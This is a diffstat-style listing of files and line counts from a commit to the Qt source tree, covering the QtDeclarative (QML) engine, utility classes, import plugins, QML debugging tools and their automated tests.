-rw-r--r--src/declarative/qml/qdeclarativecontext_p.h292
-rw-r--r--src/declarative/qml/qdeclarativecontextscriptclass.cpp335
-rw-r--r--src/declarative/qml/qdeclarativecontextscriptclass_p.h106
-rw-r--r--src/declarative/qml/qdeclarativecustomparser.cpp317
-rw-r--r--src/declarative/qml/qdeclarativecustomparser_p.h167
-rw-r--r--src/declarative/qml/qdeclarativecustomparser_p_p.h89
-rw-r--r--src/declarative/qml/qdeclarativedata_p.h165
-rw-r--r--src/declarative/qml/qdeclarativedirparser.cpp285
-rw-r--r--src/declarative/qml/qdeclarativedirparser_p.h149
-rw-r--r--src/declarative/qml/qdeclarativedom.cpp1835
-rw-r--r--src/declarative/qml/qdeclarativedom_p.h362
-rw-r--r--src/declarative/qml/qdeclarativedom_p_p.h157
-rw-r--r--src/declarative/qml/qdeclarativeengine.cpp2523
-rw-r--r--src/declarative/qml/qdeclarativeengine.h130
-rw-r--r--src/declarative/qml/qdeclarativeengine_p.h387
-rw-r--r--src/declarative/qml/qdeclarativeerror.cpp285
-rw-r--r--src/declarative/qml/qdeclarativeerror.h86
-rw-r--r--src/declarative/qml/qdeclarativeexpression.cpp875
-rw-r--r--src/declarative/qml/qdeclarativeexpression.h119
-rw-r--r--src/declarative/qml/qdeclarativeexpression_p.h233
-rw-r--r--src/declarative/qml/qdeclarativeextensioninterface.h68
-rw-r--r--src/declarative/qml/qdeclarativeextensionplugin.cpp171
-rw-r--r--src/declarative/qml/qdeclarativeextensionplugin.h76
-rw-r--r--src/declarative/qml/qdeclarativefastproperties.cpp101
-rw-r--r--src/declarative/qml/qdeclarativefastproperties_p.h75
-rw-r--r--src/declarative/qml/qdeclarativeglobal_p.h110
-rw-r--r--src/declarative/qml/qdeclarativeglobalscriptclass.cpp147
-rw-r--r--src/declarative/qml/qdeclarativeglobalscriptclass_p.h86
-rw-r--r--src/declarative/qml/qdeclarativeguard_p.h214
-rw-r--r--src/declarative/qml/qdeclarativeimageprovider.cpp259
-rw-r--r--src/declarative/qml/qdeclarativeimageprovider.h80
-rw-r--r--src/declarative/qml/qdeclarativeimport.cpp1083
-rw-r--r--src/declarative/qml/qdeclarativeimport_p.h144
-rw-r--r--src/declarative/qml/qdeclarativeinclude.cpp310
-rw-r--r--src/declarative/qml/qdeclarativeinclude_p.h115
-rw-r--r--src/declarative/qml/qdeclarativeinfo.cpp179
-rw-r--r--src/declarative/qml/qdeclarativeinfo.h105
-rw-r--r--src/declarative/qml/qdeclarativeinstruction.cpp230
-rw-r--r--src/declarative/qml/qdeclarativeinstruction_p.h359
-rw-r--r--src/declarative/qml/qdeclarativeintegercache.cpp96
-rw-r--r--src/declarative/qml/qdeclarativeintegercache_p.h112
-rw-r--r--src/declarative/qml/qdeclarativelist.cpp417
-rw-r--r--src/declarative/qml/qdeclarativelist.h152
-rw-r--r--src/declarative/qml/qdeclarativelist_p.h85
-rw-r--r--src/declarative/qml/qdeclarativelistscriptclass.cpp149
-rw-r--r--src/declarative/qml/qdeclarativelistscriptclass_p.h87
-rw-r--r--src/declarative/qml/qdeclarativemetatype.cpp1536
-rw-r--r--src/declarative/qml/qdeclarativemetatype_p.h174
-rw-r--r--src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.cpp103
-rw-r--r--src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.h66
-rw-r--r--src/declarative/qml/qdeclarativenotifier.cpp126
-rw-r--r--src/declarative/qml/qdeclarativenotifier_p.h268
-rw-r--r--src/declarative/qml/qdeclarativeobjectscriptclass.cpp1242
-rw-r--r--src/declarative/qml/qdeclarativeobjectscriptclass_p.h166
-rw-r--r--src/declarative/qml/qdeclarativeparser.cpp437
-rw-r--r--src/declarative/qml/qdeclarativeparser_p.h381
-rw-r--r--src/declarative/qml/qdeclarativeparserstatus.cpp107
-rw-r--r--src/declarative/qml/qdeclarativeparserstatus.h75
-rw-r--r--src/declarative/qml/qdeclarativeprivate.h249
-rw-r--r--src/declarative/qml/qdeclarativeproperty.cpp1654
-rw-r--r--src/declarative/qml/qdeclarativeproperty.h143
-rw-r--r--src/declarative/qml/qdeclarativeproperty_p.h147
-rw-r--r--src/declarative/qml/qdeclarativepropertycache.cpp471
-rw-r--r--src/declarative/qml/qdeclarativepropertycache_p.h240
-rw-r--r--src/declarative/qml/qdeclarativepropertyvalueinterceptor.cpp79
-rw-r--r--src/declarative/qml/qdeclarativepropertyvalueinterceptor.h68
-rw-r--r--src/declarative/qml/qdeclarativepropertyvaluesource.cpp76
-rw-r--r--src/declarative/qml/qdeclarativepropertyvaluesource.h67
-rw-r--r--src/declarative/qml/qdeclarativeproxymetaobject.cpp124
-rw-r--r--src/declarative/qml/qdeclarativeproxymetaobject_p.h100
-rw-r--r--src/declarative/qml/qdeclarativerefcount.cpp70
-rw-r--r--src/declarative/qml/qdeclarativerefcount_p.h80
-rw-r--r--src/declarative/qml/qdeclarativerewrite.cpp273
-rw-r--r--src/declarative/qml/qdeclarativerewrite_p.h127
-rw-r--r--src/declarative/qml/qdeclarativescriptparser.cpp1206
-rw-r--r--src/declarative/qml/qdeclarativescriptparser_p.h148
-rw-r--r--src/declarative/qml/qdeclarativescriptstring.cpp166
-rw-r--r--src/declarative/qml/qdeclarativescriptstring.h87
-rw-r--r--src/declarative/qml/qdeclarativesqldatabase.cpp448
-rw-r--r--src/declarative/qml/qdeclarativesqldatabase_p.h67
-rw-r--r--src/declarative/qml/qdeclarativestringconverters.cpp278
-rw-r--r--src/declarative/qml/qdeclarativestringconverters_p.h91
-rw-r--r--src/declarative/qml/qdeclarativetypeloader.cpp1196
-rw-r--r--src/declarative/qml/qdeclarativetypeloader_p.h330
-rw-r--r--src/declarative/qml/qdeclarativetypenamecache.cpp118
-rw-r--r--src/declarative/qml/qdeclarativetypenamecache_p.h119
-rw-r--r--src/declarative/qml/qdeclarativetypenamescriptclass.cpp165
-rw-r--r--src/declarative/qml/qdeclarativetypenamescriptclass_p.h92
-rw-r--r--src/declarative/qml/qdeclarativetypenotavailable.cpp53
-rw-r--r--src/declarative/qml/qdeclarativetypenotavailable_p.h65
-rw-r--r--src/declarative/qml/qdeclarativevaluetype.cpp1011
-rw-r--r--src/declarative/qml/qdeclarativevaluetype_p.h556
-rw-r--r--src/declarative/qml/qdeclarativevaluetypescriptclass.cpp242
-rw-r--r--src/declarative/qml/qdeclarativevaluetypescriptclass_p.h87
-rw-r--r--src/declarative/qml/qdeclarativevme.cpp1124
-rw-r--r--src/declarative/qml/qdeclarativevme_p.h95
-rw-r--r--src/declarative/qml/qdeclarativevmemetaobject.cpp903
-rw-r--r--src/declarative/qml/qdeclarativevmemetaobject_p.h197
-rw-r--r--src/declarative/qml/qdeclarativewatcher.cpp188
-rw-r--r--src/declarative/qml/qdeclarativewatcher_p.h94
-rw-r--r--src/declarative/qml/qdeclarativeworkerscript.cpp753
-rw-r--r--src/declarative/qml/qdeclarativeworkerscript_p.h129
-rw-r--r--src/declarative/qml/qdeclarativexmlhttprequest.cpp1740
-rw-r--r--src/declarative/qml/qdeclarativexmlhttprequest_p.h71
-rw-r--r--src/declarative/qml/qmetaobjectbuilder.cpp2601
-rw-r--r--src/declarative/qml/qmetaobjectbuilder_p.h325
-rw-r--r--src/declarative/qml/qml.pri139
-rw-r--r--src/declarative/qml/qperformancetimer.cpp227
-rw-r--r--src/declarative/qml/qperformancetimer_p.h79
-rw-r--r--src/declarative/qml/qpodvector_p.h173
-rw-r--r--src/declarative/qml/rewriter/rewriter.pri4
-rw-r--r--src/declarative/qml/rewriter/textwriter.cpp217
-rw-r--r--src/declarative/qml/rewriter/textwriter_p.h101
-rw-r--r--src/declarative/util/qdeclarativeanimation.cpp2952
-rw-r--r--src/declarative/util/qdeclarativeanimation_p.h528
-rw-r--r--src/declarative/util/qdeclarativeanimation_p_p.h397
-rw-r--r--src/declarative/util/qdeclarativeapplication.cpp112
-rw-r--r--src/declarative/util/qdeclarativeapplication_p.h86
-rw-r--r--src/declarative/util/qdeclarativebehavior.cpp230
-rw-r--r--src/declarative/util/qdeclarativebehavior_p.h98
-rw-r--r--src/declarative/util/qdeclarativebind.cpp214
-rw-r--r--src/declarative/util/qdeclarativebind_p.h96
-rw-r--r--src/declarative/util/qdeclarativeconnections.cpp289
-rw-r--r--src/declarative/util/qdeclarativeconnections_p.h103
-rw-r--r--src/declarative/util/qdeclarativefontloader.cpp338
-rw-r--r--src/declarative/util/qdeclarativefontloader_p.h97
-rw-r--r--src/declarative/util/qdeclarativelistaccessor.cpp138
-rw-r--r--src/declarative/util/qdeclarativelistaccessor_p.h80
-rw-r--r--src/declarative/util/qdeclarativelistmodel.cpp1628
-rw-r--r--src/declarative/util/qdeclarativelistmodel_p.h158
-rw-r--r--src/declarative/util/qdeclarativelistmodel_p_p.h281
-rw-r--r--src/declarative/util/qdeclarativelistmodelworkeragent.cpp278
-rw-r--r--src/declarative/util/qdeclarativelistmodelworkeragent_p.h163
-rw-r--r--src/declarative/util/qdeclarativenullablevalue_p_p.h81
-rw-r--r--src/declarative/util/qdeclarativeopenmetaobject.cpp380
-rw-r--r--src/declarative/util/qdeclarativeopenmetaobject_p.h129
-rw-r--r--src/declarative/util/qdeclarativepackage.cpp201
-rw-r--r--src/declarative/util/qdeclarativepackage_p.h98
-rw-r--r--src/declarative/util/qdeclarativepixmapcache.cpp1119
-rw-r--r--src/declarative/util/qdeclarativepixmapcache_p.h124
-rw-r--r--src/declarative/util/qdeclarativepropertychanges.cpp798
-rw-r--r--src/declarative/util/qdeclarativepropertychanges_p.h112
-rw-r--r--src/declarative/util/qdeclarativepropertymap.cpp296
-rw-r--r--src/declarative/util/qdeclarativepropertymap.h90
-rw-r--r--src/declarative/util/qdeclarativesmoothedanimation.cpp493
-rw-r--r--src/declarative/util/qdeclarativesmoothedanimation_p.h103
-rw-r--r--src/declarative/util/qdeclarativesmoothedanimation_p_p.h135
-rw-r--r--src/declarative/util/qdeclarativespringanimation.cpp462
-rw-r--r--src/declarative/util/qdeclarativespringanimation_p.h111
-rw-r--r--src/declarative/util/qdeclarativestate.cpp742
-rw-r--r--src/declarative/util/qdeclarativestate_p.h210
-rw-r--r--src/declarative/util/qdeclarativestate_p_p.h255
-rw-r--r--src/declarative/util/qdeclarativestategroup.cpp502
-rw-r--r--src/declarative/util/qdeclarativestategroup_p.h95
-rw-r--r--src/declarative/util/qdeclarativestateoperations.cpp1587
-rw-r--r--src/declarative/util/qdeclarativestateoperations_p.h299
-rw-r--r--src/declarative/util/qdeclarativestyledtext.cpp347
-rw-r--r--src/declarative/util/qdeclarativestyledtext_p.h69
-rw-r--r--src/declarative/util/qdeclarativesystempalette.cpp312
-rw-r--r--src/declarative/util/qdeclarativesystempalette_p.h122
-rw-r--r--src/declarative/util/qdeclarativetimeline.cpp947
-rw-r--r--src/declarative/util/qdeclarativetimeline_p_p.h200
-rw-r--r--src/declarative/util/qdeclarativetimer.cpp324
-rw-r--r--src/declarative/util/qdeclarativetimer_p.h115
-rw-r--r--src/declarative/util/qdeclarativetransition.cpp345
-rw-r--r--src/declarative/util/qdeclarativetransition_p.h106
-rw-r--r--src/declarative/util/qdeclarativetransitionmanager.cpp276
-rw-r--r--src/declarative/util/qdeclarativetransitionmanager_p_p.h85
-rw-r--r--src/declarative/util/qdeclarativeutilmodule.cpp174
-rw-r--r--src/declarative/util/qdeclarativeutilmodule_p.h63
-rw-r--r--src/declarative/util/qdeclarativeview.cpp739
-rw-r--r--src/declarative/util/qdeclarativeview.h119
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel.cpp1157
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel_p.h213
-rw-r--r--src/declarative/util/qlistmodelinterface.cpp105
-rw-r--r--src/declarative/util/qlistmodelinterface_p.h84
-rw-r--r--src/declarative/util/util.pri72
-rw-r--r--src/imports/folderlistmodel/folderlistmodel.pro26
-rw-r--r--src/imports/folderlistmodel/plugin.cpp70
-rw-r--r--src/imports/folderlistmodel/qdeclarativefolderlistmodel.cpp485
-rw-r--r--src/imports/folderlistmodel/qdeclarativefolderlistmodel.h159
-rw-r--r--src/imports/folderlistmodel/qmldir1
-rw-r--r--src/imports/gestures/gestures.pro26
-rw-r--r--src/imports/gestures/plugin.cpp73
-rw-r--r--src/imports/gestures/qdeclarativegesturearea.cpp282
-rw-r--r--src/imports/gestures/qdeclarativegesturearea_p.h104
-rw-r--r--src/imports/gestures/qmldir1
-rw-r--r--src/imports/imports.pro5
-rw-r--r--src/imports/particles/particles.cpp69
-rw-r--r--src/imports/particles/particles.pro30
-rw-r--r--src/imports/particles/qdeclarativeparticles.cpp1296
-rw-r--r--src/imports/particles/qdeclarativeparticles_p.h258
-rw-r--r--src/imports/particles/qmldir1
-rw-r--r--src/imports/qimportbase.pri36
-rw-r--r--src/imports/shaders/glfunctions.h75
-rw-r--r--src/imports/shaders/qmldir2
-rw-r--r--src/imports/shaders/qmlshadersplugin_plugin.cpp55
-rw-r--r--src/imports/shaders/qmlshadersplugin_plugin.h56
-rw-r--r--src/imports/shaders/scenegraph/qsggeometry.cpp194
-rw-r--r--src/imports/shaders/scenegraph/qsggeometry.h234
-rw-r--r--src/imports/shaders/shadereffect.cpp196
-rw-r--r--src/imports/shaders/shadereffect.h81
-rw-r--r--src/imports/shaders/shadereffectbuffer.cpp52
-rw-r--r--src/imports/shaders/shadereffectbuffer.h62
-rw-r--r--src/imports/shaders/shadereffectitem.cpp955
-rw-r--r--src/imports/shaders/shadereffectitem.h154
-rw-r--r--src/imports/shaders/shadereffectsource.cpp451
-rw-r--r--src/imports/shaders/shadereffectsource.h159
-rw-r--r--src/imports/shaders/shaders.pro38
-rw-r--r--src/plugins/platforms/uikit/examples/qmltest/main.mm78
-rw-r--r--src/plugins/platforms/uikit/examples/qmltest/qml/main.qml112
-rw-r--r--src/plugins/platforms/uikit/examples/qmltest/qmltest-Info.plist36
-rw-r--r--src/plugins/platforms/uikit/examples/qmltest/qmltest.xcodeproj/project.pbxproj494
-rw-r--r--src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/moc_qmlapplicationviewer.cpp122
-rw-r--r--src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.cpp198
-rw-r--r--src/plugins/platforms/uikit/examples/share/qmlapplicationviewer/qmlapplicationviewer.h83
-rw-r--r--src/plugins/plugins.pro16
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/abstracttool.cpp54
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/abstracttool.h85
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.cpp511
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.h173
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.cpp196
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.h104
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.cpp240
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/boundingrecthighlighter.h115
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.cpp100
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/colorpickertool.h92
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.cpp92
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/livelayeritem.h67
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.cpp165
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liverubberbandselectionmanipulator.h96
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.cpp118
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.h80
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.cpp113
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.h77
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.cpp425
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.h120
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.cpp151
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/livesingleselectionmanipulator.h89
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.cpp328
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/qmltoolbar.h132
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.cpp130
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/subcomponentmasklayeritem.h71
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.cpp134
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/toolbarcolorbox.h81
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.cpp330
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/editor/zoomtool.h107
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.cpp80
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorplugin.h71
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeinspectorprotocol.h137
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.cpp436
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector.h100
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qdeclarativeviewinspector_p.h117
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qmldbg_inspector.pro49
-rw-r--r--src/plugins/qmltooling/qmldbg_inspector/qmlinspectorconstants.h77
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/qmldbg_ost.pro21
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/qmlostplugin.cpp149
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/qmlostplugin.h82
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/qostdevice.cpp220
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/qostdevice.h77
-rw-r--r--src/plugins/qmltooling/qmldbg_ost/usbostcomm.h191
-rw-r--r--src/plugins/qmltooling/qmldbg_tcp/qmldbg_tcp.pro18
-rw-r--r--src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.cpp198
-rw-r--r--src/plugins/qmltooling/qmldbg_tcp/qtcpserverconnection.h84
-rw-r--r--src/plugins/qmltooling/qmltooling.pro4
-rw-r--r--src/plugins/qpluginbase.pri41
-rw-r--r--src/qt_targets.pri4
-rw-r--r--tests/auto/bic/data/QtDeclarative.4.7.0.linux-gcc-ia32.txt18158
-rw-r--r--tests/auto/declarative.pro4
-rw-r--r--tests/auto/declarative/declarative.pro85
-rw-r--r--tests/auto/declarative/examples/data/dummytest.qml6
-rw-r--r--tests/auto/declarative/examples/data/webbrowser/webbrowser.qml6
-rw-r--r--tests/auto/declarative/examples/examples.pro21
-rw-r--r--tests/auto/declarative/examples/tst_examples.cpp230
-rw-r--r--tests/auto/declarative/moduleqt47/data/importqt47.qml80
-rw-r--r--tests/auto/declarative/moduleqt47/moduleqt47.pro16
-rw-r--r--tests/auto/declarative/moduleqt47/tst_moduleqt47.cpp136
-rw-r--r--tests/auto/declarative/parserstress/parserstress.pro16
-rw-r--r--tests/auto/declarative/parserstress/tst_parserstress.cpp165
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/anchors.qml162
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/anchorsqgraphicswidget.qml162
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/centerin.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/crash1.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/fill.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/hvCenter.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/loop1.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/loop2.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/data/margins.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/qdeclarativeanchors.pro15
-rw-r--r--tests/auto/declarative/qdeclarativeanchors/tst_qdeclarativeanchors.cpp771
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/colors.gifbin0 -> 505 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/colors.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gifbin0 -> 6524 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.gifbin0 -> 164923 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickman.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanerror1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanpause.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanscaled.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/data/stickmanstopped.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/qdeclarativeanimatedimage.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp387
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/Double.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/attached.qml34
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badproperty1.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badproperty2.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badtype1.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badtype2.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badtype3.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/badtype4.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/dontStart.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/dontStart2.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/dotproperty.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/mixedtype1.qml25
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/mixedtype2.qml25
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/nonTransitionBug.qml30
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/properties.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/properties2.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/properties3.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/properties4.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/properties5.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition2.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition3.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition4.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition5.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition6.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition7.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/rotation.qml48
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/runningTrueBug.qml30
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/transitionAssignmentBug.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/valuesource.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/valuesource2.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/qdeclarativeanimations.pro15
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp862
-rw-r--r--tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro5
-rw-r--r--tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp123
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/binding.qml26
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/color.qml24
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/cpptrigger.qml11
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/delayedRegistration.qml25
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/disabled.qml27
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/dontStart.qml18
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/empty.qml23
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/explicit.qml26
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/groupProperty.qml23
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/groupProperty2.qml23
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/groupedPropertyCrash.qml10
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/loop.qml19
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/nonSelecting2.qml26
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/parent.qml28
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/qtbug12295.qml17
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/reassignedAnimation.qml32
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/runningTrue.qml20
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/scripttrigger.qml16
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/simple.qml26
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/startup.qml17
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/data/startup2.qml16
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/qdeclarativebehaviors.pro15
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp435
-rw-r--r--tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml24
-rw-r--r--tests/auto/declarative/qdeclarativebinding/data/test-binding.qml16
-rw-r--r--tests/auto/declarative/qdeclarativebinding/data/test-binding2.qml16
-rw-r--r--tests/auto/declarative/qdeclarativebinding/qdeclarativebinding.pro16
-rw-r--r--tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp135
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci7
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/colors-round.sci7
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/colors.pngbin0 -> 1655 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/heart200.pngbin0 -> 7943 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/data/invalid.sci7
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/qdeclarativeborderimage.pro18
-rw-r--r--tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp426
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/data/createObject.qml16
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml43
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/qdeclarativecomponent.pro13
-rw-r--r--tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp173
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/connection-targetchange.qml25
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-parent.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/error-object.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/error-property.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/error-property2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/error-syntax.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/test-connection.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/test-connection2.qml3
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/test-connection3.qml3
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/data/trimming.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/qdeclarativeconnection.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeconnection/tst_qdeclarativeconnection.cpp234
-rw-r--r--tests/auto/declarative/qdeclarativecontext/qdeclarativecontext.pro11
-rw-r--r--tests/auto/declarative/qdeclarativecontext/tst_qdeclarativecontext.cpp468
-rw-r--r--tests/auto/declarative/qdeclarativedebug/qdeclarativedebug.pro10
